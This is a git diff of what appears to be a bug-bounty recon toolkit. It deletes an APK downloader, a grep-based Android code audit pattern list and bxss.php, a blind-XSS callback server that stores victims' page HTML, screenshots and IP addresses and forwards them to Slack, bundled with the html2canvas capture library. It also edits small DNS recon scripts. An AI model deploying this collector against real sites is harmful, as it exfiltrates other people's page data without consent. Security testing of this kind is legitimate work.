- # send_error("Could not find %s" % package_name)
- # continue
-
- # search_title = first_result.find("p", class_="search-title")
- # search_title_a = search_title.find("a")
-
- # app_name = search_title.text.strip()
- # app_url = search_title_a.attrs["href"]
-
- app_url = '/aaaaaaaaaaaaa/' + package_name
-
- # App page
- url = DOMAIN + app_url
- try:
- r = requests.get(url)
- except requests.exceptions.ConnectionError:
- send_error("Connection error")
- continue
-
- if r.status_code != 200:
- send_error("Could not get app page for %s" % package_name)
- continue
-
- soup = BeautifulSoup(r.text, "html.parser")
- app_name = package_name
- # app_name = search_title.text.strip()
-
- download_button = soup.find("a", {"class":"da"})
- if download_button is None:
- send_error("%s is a paid app. Could not download" % package_name)
- continue
-
- download_url = download_button.attrs["href"]
-
- # Download app page
- url = DOMAIN + download_url
- try:
- r = requests.get(url)
- except requests.exceptions.ConnectionError:
- send_error("Connection error")
- continue
-
- if r.status_code != 200:
- send_error("Could not get app download page for %s" % package_name)
- continue
-
- soup = BeautifulSoup(r.text, "html.parser")
-
- download_link = soup.find("a", {"id":"download_link"})
-
- if download_link is None:
- send_error("%s is a paid or region app. Could not download" % package_name)
- continue
-
- download_apk_url = download_link.attrs["href"]
-
- send_payload(package_name, app_name, download_apk_url)
-
-
-def main():
- # Create the download directory
- if not os.path.exists(DOWNLOAD_DIR):
- os.makedirs(DOWNLOAD_DIR)
- elif not os.path.isdir(DOWNLOAD_DIR):
- print("%s is not a directory" % DOWNLOAD_DIR)
- return -1
-
-
- # Read the package names
- if not os.path.isfile(PACKAGE_NAMES_FILE):
- print("Could not find %s" % PACKAGE_NAMES_FILE)
- return -1
-
- with open(PACKAGE_NAMES_FILE, "r") as f:
- package_names = [line.strip() for line in f.readlines()]
-
-
- # CSV file header
- with open(OUTPUT_CSV, "w+") as csv:
- csv.write("App name,Package name,Size,Location\n")
-
-
- # Message-passing queues
- search_qi = Queue()
- search_qo = Queue()
-
- download_qi = Queue()
- download_qo = Queue()
-
-
- # Search Process
- search_proc = Process(target=search_process, args=(search_qo, search_qi))
- search_proc.start()
-
-
- # Download Processes
- download_procs = []
- for i in range(CONCURRENT_DOWNLOADS):
- download_proc = Process(target=download_process,
- args=(i, download_qo, download_qi))
- download_procs.append(download_proc)
- download_proc.start()
-
-
- active_tasks = Counter()
- def new_search_query():
- if package_names:
- search_qo.put((MSG_PAYLOAD, package_names.pop(0)))
- active_tasks.inc()
- return True
- return False
-
- # Send some queries to the search process
- for _ in range(CONCURRENT_DOWNLOADS + 1):
- new_search_query()
-
-
- prog_bars = SplitProgBar(CONCURRENT_DOWNLOADS, 80)
-
- def log(msg, pb=True):
- prog_bars.clear()
- print(msg)
- if pb:
- prog_bars.render()
- sys.stdout.flush()
-
- last_message_time = time.time()
- while True:
- if active_tasks.empty:
- log("Done!", False)
- break
-
- no_message = True
-
- try:
- # Messages from the search process
- message = search_qi.get(block=False)
- last_message_time = time.time()
- no_message = False
-
- if message[0] == MSG_PAYLOAD:
- # Donwload URL found => Start a download
- download_qo.put(message)
- log(" Found app for %s" % message[1][0])
-
- elif message[0] == MSG_ERROR:
- # Error with search query
- log("!!" + message[1])
- active_tasks.dec()
-
- # Search for another app
- new_search_query()
- except EmptyQueueException:
- pass
-
- try:
- # Messages from the download processes
- message = download_qi.get(block=False)
- last_message_time = time.time()
- no_message = False
-
- if message[0] == MSG_PAYLOAD or message[0] == MSG_END:
- # Download finished
- id_, package_name, app_name, size, location = message[1]
- prog_bars[id_] = float("NaN")
-
- if message[0] == MSG_PAYLOAD:
- log(" Finished downloading %s" % package_name)
- elif message[0] == MSG_END:
- log(" File already downloaded for %s" % package_name)
-
- # Add row to CSV file
- # with open(OUTPUT_CSV, "a") as csv:
- # csv.write(",".join([
- # '"%s"' % app_name.replace('"', '""'),
- # '"%s"' % package_name.replace('"', '""'),
- # "%d" % size,
- # '"%s"' % location.replace('"', '""')]))
- # csv.write("\n")
-
- active_tasks.dec()
-
- # Search for another app
- new_search_query()
-
- elif message[0] == MSG_START:
- # Download started
- id_, package_name = message[1]
- prog_bars[id_] = 0.0
- log(" Started downloading %s" % package_name)
-
- elif message[0] == MSG_PROGRESS:
- # Download progress
- id_, progress = message[1]
- prog_bars[id_] = progress
- prog_bars.render()
-
- elif message[0] == MSG_ERROR:
- # Error during download
- id_, msg = message[1]
- log("!!" + msg)
- prog_bars[id_] = 0.0
-
- active_tasks.dec()
-
- # Search for another app
- new_search_query()
- except EmptyQueueException:
- pass
-
- if no_message:
- if time.time() - last_message_time > PROCESS_TIMEOUT:
- log("!!Timed out after %.2f seconds" % (PROCESS_TIMEOUT), False)
- break
- time.sleep(PROGRESS_UPDATE_DELAY / 2.0)
-
- # End processes
- search_qo.put((MSG_END, ))
- for _ in range(CONCURRENT_DOWNLOADS):
- download_qo.put((MSG_END, ))
-
- search_proc.join()
- for download_proc in download_procs:
- download_proc.join()
-
- return 0
-
-
-if __name__ == '__main__':
- sys.exit(main())
\ No newline at end of file
diff --git a/apk-regexp.sh b/apk-regexp.sh
deleted file mode 100755
index efbc076..0000000
--- a/apk-regexp.sh
+++ /dev/null
@@ -1,16 +0,0 @@
-#!/bin/bash
-
-target_dir=$1
-script_dir=$(dirname "$(readlink -f "$0")")
-
-cat $script_dir"/apk-regexp.txt" | while read -r r; do
- title=`echo "$r" | awk -F ";;" '{print $1}'`
- echo "[+] $title"
- reg=`echo "$r" | awk -F ";;" '{print $2}'`
- escape_reg=$reg
- escape_reg=$(echo $escape_reg | sed "s/\"/\\\\\"/g")
- echo "-> $escape_reg"
- egrep --color -ri "$escape_reg" $target_dir
- echo
- echo
-done
diff --git a/apk-regexp.txt b/apk-regexp.txt
deleted file mode 100644
index 5a734fa..0000000
--- a/apk-regexp.txt
+++ /dev/null
@@ -1,18 +0,0 @@
-Buckets/Takeovers;;amazonaws|azurewebsites|cloudapp|trafficmanager|herokuapp|cloudfront|digitaloceanspace|storage\.(cloud|google)|firebaseio\.com
-Webview;;setAllowContent|setAllowFileAccess|setAllowFileAccessFromFileURLs|setAllowUniversalAccessFromFileURLS|setJavascriptEnabled|setPluginState|setSavePassword|JavascriptInterface|loadUrl|setPluginsEnabled|setPluginState|shouldOverrideUrlLoading
-External call;;[^a-z](OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT|PROPFIND|PROPPATCH|MKCOL|COPY|MOVE|LOCK|UNLOCK|VERSION-CONTROL|REPORT|CHECKOUT|CHECKIN|UNCHECKOUT|MKWORKSPACE|UPDATE|LABEL|MERGE|BASELINE-CONTROL|MKACTIVITY|ORDERPATCH|ACL|PATCH|SEARCH|ARBITRARY)[^a-z]"
-External call;;@(OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT|PROPFIND|PROPPATCH|MKCOL|COPY|MOVE|LOCK|UNLOCK|VERSION-CONTROL|REPORT|CHECKOUT|CHECKIN|UNCHECKOUT|MKWORKSPACE|UPDATE|LABEL|MERGE|BASELINE-CONTROL|MKACTIVITY|ORDERPATCH|ACL|PATCH|SEARCH|ARBITRARY)\(
-Parameters;;putExtra|getBundleExtra|getBooleanExtra|getDoubleExtra|getIntExtra|getShortExtra|getStringExtra|getLongExtra|getFloatExtra|getCharExtra|getByteExtra|removeExtra|getCharSequenceExtra|getParcelableExtra|getBooleanArrayExtra|getCharArrayExtra|getByteArrayExtra|getCharSequenceArrayExtra|getCharSequenceArrayListExtra|getDoubleArrayExtra|getFloatArrayExtra|getIntArrayExtra|getIntegerArrayListExtra|getParcelableArrayListExtra|getParcelableArrayExtra|getSerializableExtra|getShortArrayExtra|getStringArrayExtra|getStringArrayListExtra|putIntegerArrayListExtra|putParcelableArrayListExtra|putStringArrayListExtra
-URL Parameters;;[&\?][a-zA-Z0-9\_]+=
-Log call;;Log\.|Timber\.
-Base64 encoded/decoded strings;;base64
-IP adress;;([0-9]{1,3}\s*,\s*){3,})
-Internal Storage;;MODE_|getPreferences|getDefaultSharedPreferences|createTempFile|SQLiteDatabase|openOrCreateDatabase|execSQL|rawQuery
-External Storage;;EXTERNAL_STORAGE|EXTERNAL_CONTENT|getExternal
-Content Provider;;content://
-System;;SystemProperties|\.exec\(
-Intent;;new Intent|new android\.content\.Intent|android\.intent\.action|PendingIntent|sendBroadcast|sendOrderedBroadcast|startActivity|resolveActivity|createChooser|startService|bindService|registerReceiver
-Fragment;;Fragment\.instantiate|FragmentManager|isValidFragment|FragmentTransaction
-SSL Certificate;;CertificatePinner|HostnameVerifier|X509Certificate|CertificatePinner|networkSecurityConfig|network-security-config|onReceivedSslError
-Package install;;vnd\.android\.package-archive
-File manipulation;;(get|set|open|add|new)[a-zA-Z0]*(File|URI|Stream|Image|Document|Dir|Content|Url)[a-zA-Z0]*
diff --git a/arpa.sh b/arpa.sh
index 7a4d363..6c9e9f8 100755
--- a/arpa.sh
+++ b/arpa.sh
@@ -36,11 +36,11 @@ arpa=$(echo $arpa | sed "s/WWW/ /g")
for a in $arpa ; do
str=$(echo "$a" | awk -F "YYY" '{print $1}')
ip=$(echo "$str" | awk -F "." '{print $4"."$3"."$2"."$1}')
- #echo $ip
- dom=$(echo "$a" | awk -F "YYY" '{print $2}')
- dom=${dom:0:-1}
+ # dom=$(echo "$a" | awk -F "YYY" '{print $2}')
+ # dom=${dom:0:-1}
#echo $dom
- echo $ip" "$dom
+ echo $ip
+ # echo $ip" "$dom
done
exit
diff --git a/bbhost.sh b/bbhost.sh
index d269c51..7ae162d 100755
--- a/bbhost.sh
+++ b/bbhost.sh
@@ -1,5 +1,7 @@
#!/bin/bash
+# multithreaded host command
+
if [ $# -lt 1 ] ; then
input="hosts"
else
@@ -17,7 +19,7 @@ fi
parallel -j 20 "host " :::: $input | tee -a $output
exit;
-for h in $(cat $input) ; do
- host $h | tee -a $output
- echo "" | tee -a $output
-done
+# for h in $(cat $input) ; do
+# host $h | tee -a $output
+# echo "" | tee -a $output
+# done
diff --git a/bxss.php b/bxss.php
deleted file mode 100755
index ddb9493..0000000
--- a/bxss.php
+++ /dev/null
@@ -1,240 +0,0 @@
- 'images/', // relative please!
- 'report' => [
- 'file' => [
- 'enabled' => false,
- 'path' => 'xss.log',
- ],
- 'mail' => [ // not implemented yet
- 'enabled' => false,
- 'to' => '',
- ],
- 'sqlite' => [
- 'enabled' => false,
- 'path' => 'xss.db',
-
- ],
- 'slack' => [
- 'enabled' => false,
- 'webhook_url' => '',
- ],
- ],
-];
-
-
-class Reporting
-{
- public static function getClientIp()
- {
- if( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) {
- return filter_var( $_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP );
- }
-
- if( isset($_SERVER['HTTP_CLIENT_IP']) ) {
- return filter_var( $_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP );
- }
-
- return filter_var( $_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP );
- }
-
- public static function report_file( $config, $t_datas ) {
- $log = str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."\n\n";
- unset( $t_datas['id'] );
- unset( $t_datas['date'] );
- foreach( $t_datas as $k=>$v ) {
- $log .= strtoupper( $k ).":\n";
- $log .= $v."\n\n";
- }
- file_put_contents( $config['path'], $log, FILE_APPEND | LOCK_EX );
- }
- public static function report_mail( $config, $t_datas ) {
- // todo
- }
- public static function report_sqlite( $config, $t_datas ) {
- $db = new SQLite3( $config['path'] );
- $q = 'SELECT COUNT(*) FROM bxss';
- $result = @$db->query( $q );
-
- if( $result === false ) {
- $db->exec( 'CREATE TABLE bxss (id STRING PRIMARY KEY, created_at DATETIME, datas TEXT)' );
- $db->query( $q );
- }
-
- $db->query( "INSERT INTO bxss (id, created_at, datas) VALUES('".$t_datas['id']."', '".$t_datas['date']."', '".base64_encode(json_encode($t_datas))."')" );
- }
- public static function report_slack( $config, $t_datas ) {
- $log = '*'.str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."*\n\n";
- if( isset($t_datas['screenshot']) ) {
- $screenshot = $t_datas['screenshot'];
- unset($t_datas['screenshot']);
- }
- if( isset($t_datas['document_html']) ) {
- $document_html = $t_datas['document_html'];
- unset( $t_datas['document_html'] );
- $document_save = $t_datas['document_save'];
- unset( $t_datas['document_save'] );
- }
- unset( $t_datas['id'] );
- unset( $t_datas['date'] );
- foreach( $t_datas as $k=>$v ) {
- $log .= strtoupper( $k )."\n";
- $log .= '```'.$v."```\n\n";
- }
- $t_json = [];
- $t_json['text'] = $log;
- $t_json['attachments'] = [];
- if( isset($screenshot) ) {
- $attachment = [];
- $attachment['pretext'] = 'SCREENSHOT';
- $attachment['title'] = $attachment['title_link'] = $attachment['image_url'] = $screenshot;
- $t_json['attachments'][] = $attachment;
- }
- if( isset($document_html) ) {
- $attachment = [];
- $attachment['title'] = $attachment['title_link'] = $document_save;
- $attachment['pretext'] = 'HTML_DOCUMENT';
- $attachment['text'] = $document_html;
- $t_json['attachments'][] = $attachment;
- }
- $c = curl_init();
- curl_setopt( $c, CURLOPT_URL, $config['webhook_url'] );
- curl_setopt( $c, CURLOPT_POST, true );
- curl_setopt( $c, CURLOPT_HTTPHEADER, ['Content-type: application/json'] );
- curl_setopt( $c, CURLOPT_POSTFIELDS, json_encode($t_json) );
- curl_setopt( $c, CURLOPT_RETURNTRANSFER, true );
- curl_exec( $c );
- }
- public static function save_html( $path, $id, $content ) {
- $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/');
- if( !is_dir($path_abs) ) {
- if( !mkdir($path_abs,0777,true) ) {
- return '';
- }
- }
- $file = $id.'.html';
- $path_abs = $path_abs.'/'.$file;
- if( file_put_contents($path_abs,$content) !== false ) {
- $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file;
- return $url;
- } else {
- return '';
- }
- }
- public static function save_screenshot( $path, $id, $content ) {
- $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/');
- if( !is_dir($path_abs) ) {
- if( !mkdir($path_abs,0777,true) ) {
- return '';
- }
- }
- $file = $id.'.png';
- $path_abs = $path_abs.'/'.$file;
- $content = base64_decode( substr( $content, strlen('data:image/png;base64,') ) );
- if( file_put_contents($path_abs,$content) !== false ) {
- $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file;
- return $url;
- } else {
- return '';
- }
- }
-}
-
-if( isset($_POST['datas']) )
-{
- // handling datas
- $input = file_get_contents('php://input');
- $input = substr( $input, strpos($input,'=')+1 );
- $t_datas = json_decode( $input, true );
- $t_datas['client_ip'] = Reporting::getClientIp();
- $id = $t_datas['id'] = md5( uniqid(true) );
- $date = $t_datas['date'] = date( 'Y-m-d H:i:s' );
-
- if( isset($t_datas['document_html']) && strlen($t_datas['document_html']) ) {
- $t_datas['document_save'] = Reporting::save_html( $_config['image_path'], $id, $t_datas['document_html'] );
- $t_datas['document_html'] = substr( $t_datas['document_html'], 0, 5000 );
- } else {
- unset( $t_datas['document_html'] );
- }
-
- if( isset($t_datas['screenshot']) && strlen($t_datas['screenshot']) ) {
- $t_datas['screenshot'] = Reporting::save_screenshot( $_config['image_path'], $id, $t_datas['screenshot'] );
- } else {
- unset( $t_datas['screenshot'] );
- }
-
- // reporting
- foreach( $_config['report'] as $method=>$config ) {
- $function = 'report_'.$method;
- if( method_exists('Reporting',$function) && isset($config['enabled']) && $config['enabled'] ) {
- Reporting::$function( $config, $t_datas );
- }
- }
-
- exit();
-}
-
-header('Content-Type: application/javascript');
-
-?>
-
-// https://github.com/niklasvh/html2canvas
-!function(t,e,n){function r(t,e,n,r){return c(t,n,r,e).then(function(a){E("Document cloned");var c="["+Ee+"='true']";t.querySelector(c).removeAttribute(Ee);var h=a.contentWindow,u=h.document.querySelector(c),p=new de(h.document),l=new m(e,p),d=B(u),f="view"===e.type?Math.min(d.width,n):o(),g="view"===e.type?Math.min(d.height,r):s(),y=new xe(f,g,l,e),v=new P(u,y,p,l,e);return v.ready.then(function(){E("Finished rendering");var t="view"===e.type||u!==h.document.body&&u!==h.document.documentElement?i(y.canvas,d):y.canvas;return e.removeContainer&&(a.parentNode.removeChild(a),E("Cleaned up container")),t})})}function i(t,n){var r=e.createElement("canvas"),i=Math.min(t.width-1,Math.max(0,n.left)),o=Math.min(t.width,Math.max(1,n.left+n.width)),s=Math.min(t.height-1,Math.max(0,n.top)),a=Math.min(t.height,Math.max(1,n.top+n.height)),c=r.width=o-i,h=r.height=a-s;return E("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",n.width,"height:",n.height),E("Resulting crop with width",c,"and height",h," with x",i,"and y",s),r.getContext("2d").drawImage(t,i,s,c,h,0,0,c,h),r}function o(){return Math.max(Math.max(e.body.scrollWidth,e.documentElement.scrollWidth),Math.max(e.body.offsetWidth,e.documentElement.offsetWidth),Math.max(e.body.clientWidth,e.documentElement.clientWidth))}function s(){return Math.max(Math.max(e.body.scrollHeight,e.documentElement.scrollHeight),Math.max(e.body.offsetHeight,e.documentElement.offsetHeight),Math.max(e.body.clientHeight,e.documentElement.clientHeight))}function a(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function c(e,n,r,i){var o=e.documentElement.cloneNode(!0),s=e.createElement("iframe"); return s.style.visibility="hidden",s.style.position="absolute",s.style.left=s.style.top="-10000px",s.width=n,s.height=r,s.scrolling="no",e.body.appendChild(s),new Promise(function(e){var n=s.contentWindow.document;s.contentWindow.onload=s.onload=function(){e(s)},n.open(),n.write(""),n.close(),n.replaceChild(h(n.adoptNode(o)),n.documentElement),"view"===i.type&&s.contentWindow.scrollTo(t.pageXOffset,t.pageYOffset)})}function h(t){return[].slice.call(t.childNodes,0).filter(u).forEach(function(e){"SCRIPT"===e.tagName?t.removeChild(e):h(e)}),t}function u(t){return t.nodeType===Node.ELEMENT_NODE}function p(t){if(this.src=t,E("DummyImageContainer for",t),!this.promise||!this.image){E("Initiating DummyImageContainer"),p.prototype.image=new Image;var e=this.image;p.prototype.promise=new Promise(function(t,n){e.onload=t,e.onerror=n,e.src=a(),e.complete===!0&&t(e)})}}function l(t,n){var r,i,o=e.createElement("div"),s=e.createElement("img"),c=e.createElement("span"),h="Hidden Text";o.style.visibility="hidden",o.style.fontFamily=t,o.style.fontSize=n,o.style.margin=0,o.style.padding=0,e.body.appendChild(o),s.src=a(),s.width=1,s.height=1,s.style.margin=0,s.style.padding=0,s.style.verticalAlign="baseline",c.style.fontFamily=t,c.style.fontSize=n,c.style.margin=0,c.style.padding=0,c.appendChild(e.createTextNode(h)),o.appendChild(c),o.appendChild(s),r=s.offsetTop-c.offsetTop+1,o.removeChild(c),o.appendChild(e.createTextNode(h)),o.style.lineHeight="normal",s.style.verticalAlign="super",i=s.offsetTop-o.offsetTop+1,e.body.removeChild(o),this.baseline=r,this.lineWidth=1,this.middle=i}function d(){this.data={}}function f(t){this.src=t.value,this.colorStops=[],this.type=null,this.x0=.5,this.y0=.5,this.x1=.5,this.y1=.5,this.promise=Promise.resolve(!0)}function g(t,e){this.src=t,this.image=new Image;var n=this;this.tainted=null,this.promise=new Promise(function(r,i){n.image.onload=r,n.image.onerror=i,e&&(n.image.crossOrigin="anonymous"),n.image.src=t,n.image.complete===!0&&r(n.image)})["catch"](function(){var e=new p(t);return e.promise.then(function(t){n.image=t})})}function m(e,n){this.link=null,this.options=e,this.support=n,this.origin=t.location.protocol+t.location.hostname+t.location.port}function y(t){return"IMG"===t.node.nodeName}function v(t){return"svg"===t.node.nodeName}function w(t){return{args:[t.node.src],method:"url"}}function b(t){return{args:[t.node],method:"svg"}}function x(t){f.apply(this,arguments),this.type=this.TYPES.LINEAR;var e=null===t.args[0].match(this.stepRegExp);e?t.args[0].split(" ").reverse().forEach(function(t){switch(t){case"left":this.x0=0,this.x1=1;break;case"top":this.y0=0,this.y1=1;break;case"right":this.x0=1,this.x1=0;break;case"bottom":this.y0=1,this.y1=0;break;case"to":var e=this.y0,n=this.x0;this.y0=this.y1,this.x0=this.x1,this.x1=n,this.y1=e;break;default:var r=t.match(this.angleRegExp);if(r)switch(r[2]){case"deg":var i=parseFloat(r[1]),o=i/(180/Math.PI),s=Math.tan(o);this.y0=2/Math.tan(s)/2,this.x0=0,this.x1=1,this.y1=0}}},this):(this.y0=0,this.y1=1),this.colorStops=t.args.slice(e?1:0).map(function(t){var e=t.match(this.stepRegExp);return{color:e[1],stop:"%"===e[3]?e[2]/100:null}},this),null===this.colorStops[0].stop&&(this.colorStops[0].stop=0),null===this.colorStops[this.colorStops.length-1].stop&&(this.colorStops[this.colorStops.length-1].stop=1),this.colorStops.forEach(function(t,e){null===t.stop&&this.colorStops.slice(e).some(function(n,r){return null!==n.stop?(t.stop=(n.stop-this.colorStops[e-1].stop)/(r+1)+this.colorStops[e-1].stop,!0):!1},this)},this)}function E(){t.html2canvas.logging&&t.console&&t.console.log&&Function.prototype.bind.call(t.console.log,t.console).apply(t.console,[Date.now()-t.html2canvas.start+"ms","html2canvas:"].concat([].slice.call(arguments,0)))}function T(t,e){this.node=t,this.parent=e,this.stack=null,this.bounds=null,this.offsetBounds=null,this.visible=null,this.computedStyles=null,this.styles={},this.backgroundImages=null,this.transformData=null,this.transformMatrix=null}function C(t){var e=t.options[t.selectedIndex||0];return e?e.text||"":""}function k(t){return t&&"matrix"===t[1]?t[2].split(",").map(function(t){return parseFloat(t.trim())}):void 0}function I(t){return-1!==t.toString().indexOf("%")}function S(t){var e,n,r,i,o,s,a,c=" \r\n ",h=[],u=0,p=0,l=function(){e&&('"'===n.substr(0,1)&&(n=n.substr(1,n.length-2)),n&&a.push(n),"-"===e.substr(0,1)&&(i=e.indexOf("-",1)+1)>0&&(r=e.substr(0,i),e=e.substr(i)),h.push({prefix:r,method:e.toLowerCase(),value:o,args:a,image:null})),a=[],e=r=n=o=""};return a=[],e=r=n=o="",t.split("").forEach(function(t){if(!(0===u&&c.indexOf(t)>-1)){switch(t){case'"':s?s===t&&(s=null):s=t;break;case"(":if(s)break;if(0===u)return u=1,void(o+=t);p++;break;case")":if(s)break;if(1===u){if(0===p)return u=0,o+=t,void l();p--}break;case",":if(s)break;if(0===u)return void l();if(1===u&&0===p&&!e.match(/^url$/i))return a.push(n),n="",void(o+=t)}o+=t,0===u?e+=t:n+=t}}),l(),h}function R(t){return t.replace("px","")}function O(t){return parseFloat(t)}function B(t){if(t.getBoundingClientRect){var e=t.getBoundingClientRect(),n="BODY"===t.nodeName,r=n?t.scrollWidth:null==t.offsetWidth?e.width:t.offsetWidth;return{top:e.top,bottom:e.bottom||e.top+e.height,right:e.left+r,left:e.left,width:r,height:n?t.scrollHeight:null==t.offsetHeight?e.height:t.offsetHeight}}return{}}function M(t){var e=t.offsetParent?M(t.offsetParent):{top:0,left:0};return{top:t.offsetTop+e.top,bottom:t.offsetTop+t.offsetHeight+e.top,right:t.offsetLeft+e.left+t.offsetWidth,left:t.offsetLeft+e.left,width:t.offsetWidth,height:t.offsetHeight}}function P(t,e,n,r,i){E("Starting NodeParser"),this.renderer=e,this.options=i,this.range=null,this.support=n,this.renderQueue=[],this.stack=new le(!0,1,t.ownerDocument,null);var o=new T(t,null);t!==t.ownerDocument.documentElement&&this.renderer.isTransparent(o.css("backgroundColor"))&&e.rectangle(0,0,e.width,e.height,new T(t.ownerDocument.documentElement,null).css("backgroundColor")),o.visibile=o.isElementVisible(),this.createPseudoHideStyles(t.ownerDocument),this.nodes=ce([o].concat(this.getChildren(o)).filter(function(t){return t.visible=t.isElementVisible()}).map(this.getPseudoElements,this)),this.fontMetrics=new d,E("Fetched nodes"),this.images=r.fetch(this.nodes.filter(te)),E("Creating stacking contexts"),this.createStackingContexts(),E("Sorting stacking contexts"),this.sortStackingContexts(this.stack),this.ready=this.images.ready.then(ie(function(){return E("Images loaded, starting parsing"),this.parse(this.stack),E("Render queue created with "+this.renderQueue.length+" items"),new Promise(ie(function(t){i.async?"function"==typeof i.async?i.async.call(this,this.renderQueue,t):(this.renderIndex=0,this.asyncRenderer(this.renderQueue,t)):(this.renderQueue.forEach(this.paint,this),t())},this))},this))}function A(t){return t.replace(/(\-[a-z])/g,function(t){return t.toUpperCase().replace("-","")})}function N(){}function L(t,e,n,r){var i=4*((Math.sqrt(2)-1)/3),o=n*i,s=r*i,a=t+n,c=e+r;return{topLeft:_({x:t,y:c},{x:t,y:c-s},{x:a-o,y:e},{x:a,y:e}),topRight:_({x:t,y:e},{x:t+o,y:e},{x:a,y:c-s},{x:a,y:c}),bottomRight:_({x:a,y:e},{x:a,y:e+s},{x:t+o,y:c},{x:t,y:c}),bottomLeft:_({x:a,y:c},{x:a-o,y:c},{x:t,y:e+s},{x:t,y:e})}}function D(t,e,n){var r=t.left,i=t.top,o=t.width,s=t.height,a=e[0][0],c=e[0][1],h=e[1][0],u=e[1][1],p=e[2][0],l=e[2][1],d=e[3][0],f=e[3][1],g=o-h,m=s-l,y=o-p,v=s-f;return{topLeftOuter:L(r,i,a,c).topLeft.subdivide(.5),topLeftInner:L(r+n[3].width,i+n[0].width,Math.max(0,a-n[3].width),Math.max(0,c-n[0].width)).topLeft.subdivide(.5),topRightOuter:L(r+g,i,h,u).topRight.subdivide(.5),topRightInner:L(r+Math.min(g,o+n[3].width),i+n[0].width,g>o+n[3].width?0:h-n[3].width,u-n[0].width).topRight.subdivide(.5),bottomRightOuter:L(r+y,i+m,p,l).bottomRight.subdivide(.5),bottomRightInner:L(r+Math.min(y,o+n[3].width),i+Math.min(m,s+n[0].width),Math.max(0,p-n[1].width),Math.max(0,l-n[2].width)).bottomRight.subdivide(.5),bottomLeftOuter:L(r,i+v,d,f).bottomLeft.subdivide(.5),bottomLeftInner:L(r+n[3].width,i+v,Math.max(0,d-n[3].width),Math.max(0,f-n[2].width)).bottomLeft.subdivide(.5)}}function _(t,e,n,r){var i=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(o){var s=i(t,e,o),a=i(e,n,o),c=i(n,r,o),h=i(s,a,o),u=i(a,c,o),p=i(h,u,o);return[_(t,s,h,p),_(p,u,c,r)]},curveTo:function(t){t.push(["bezierCurve",e.x,e.y,n.x,n.y,r.x,r.y])},curveToReversed:function(r){r.push(["bezierCurve",n.x,n.y,e.x,e.y,t.x,t.y])}}}function F(t,e,n,r,i,o,s){var a=[];return e[0]>0||e[1]>0?(a.push(["line",r[1].start.x,r[1].start.y]),r[1].curveTo(a)):a.push(["line",t.c1[0],t.c1[1]]),n[0]>0||n[1]>0?(a.push(["line",o[0].start.x,o[0].start.y]),o[0].curveTo(a),a.push(["line",s[0].end.x,s[0].end.y]),s[0].curveToReversed(a)):(a.push(["line",t.c2[0],t.c2[1]]),a.push(["line",t.c3[0],t.c3[1]])),e[0]>0||e[1]>0?(a.push(["line",i[1].end.x,i[1].end.y]),i[1].curveToReversed(a)):a.push(["line",t.c4[0],t.c4[1]]),a}function W(t,e,n,r,i,o,s){e[0]>0||e[1]>0?(t.push(["line",r[0].start.x,r[0].start.y]),r[0].curveTo(t),r[1].curveTo(t)):t.push(["line",o,s]),(n[0]>0||n[1]>0)&&t.push(["line",i[0].start.x,i[0].start.y])}function H(t){return t.cssInt("zIndex")<0}function j(t){return t.cssInt("zIndex")>0}function V(t){return 0===t.cssInt("zIndex")}function z(t){return-1!==["inline","inline-block","inline-table"].indexOf(t.css("display"))}function Y(t){return t instanceof le}function X(t){return t.node.data.trim().length>0}function G(t){return/^(normal|none|0px)$/.test(t.parent.css("letterSpacing"))}function U(t){return["TopLeft","TopRight","BottomRight","BottomLeft"].map(function(e){var n=t.css("border"+e+"Radius"),r=n.split(" ");return r.length<=1&&(r[1]=r[0]),r.map(oe)})}function Q(t){return t.nodeType===Node.TEXT_NODE||t.nodeType===Node.ELEMENT_NODE}function q(t){var e=t.css("position"),n="absolute"===e||"relative"===e?t.css("zIndex"):"auto";return"auto"!==n}function $(t){return"static"!==t.css("position")}function J(t){return"none"!==t.css("float")}function K(t){return-1!==["inline-block","inline-table"].indexOf(t.css("display"))}function Z(t){var e=this;return function(){return!t.apply(e,arguments)}}function te(t){return t.node.nodeType===Node.ELEMENT_NODE}function ee(t){return t.node.nodeType===Node.TEXT_NODE}function ne(t,e){return t.cssInt("zIndex")-e.cssInt("zIndex")}function re(t){return t.css("opacity")<1}function ie(t,e){return function(){return t.apply(e,arguments)}}function oe(t){return parseInt(t,10)}function se(t){return t.width}function ae(t){return t.node.nodeType!==Node.ELEMENT_NODE||-1===["SCRIPT","HEAD","TITLE","OBJECT","BR","OPTION"].indexOf(t.node.nodeName)}function ce(t){return[].concat.apply([],t)}function he(t){var e=t.substr(0,1);return e===t.substr(t.length-1)&&e.match(/'|"/)?t.substr(1,t.length-2):t}function ue(r,i){var o="html2canvas_"+Te++,s=e.createElement("script"),a=e.createElement("a");a.href=r,r=a.href;var c=i+(i.indexOf("?")>-1?"&":"?")+"url="+encodeURIComponent(r)+"&callback="+o;this.src=r,this.image=new Image;var h=this;this.promise=new Promise(function(r,i){h.image.onload=r,h.image.onerror=i,t[o]=function(e){"error:"===e.substring(0,6)?i():h.image.src=e,t[o]=n;try{delete t[o]}catch(r){}s.parentNode.removeChild(s)},s.setAttribute("type","text/javascript"),s.setAttribute("src",c),e.body.appendChild(s)})["catch"](function(){var t=new p(r);return t.promise.then(function(t){h.image=t})})}function pe(t,e,n,r){this.width=t,this.height=e,this.images=n,this.options=r}function 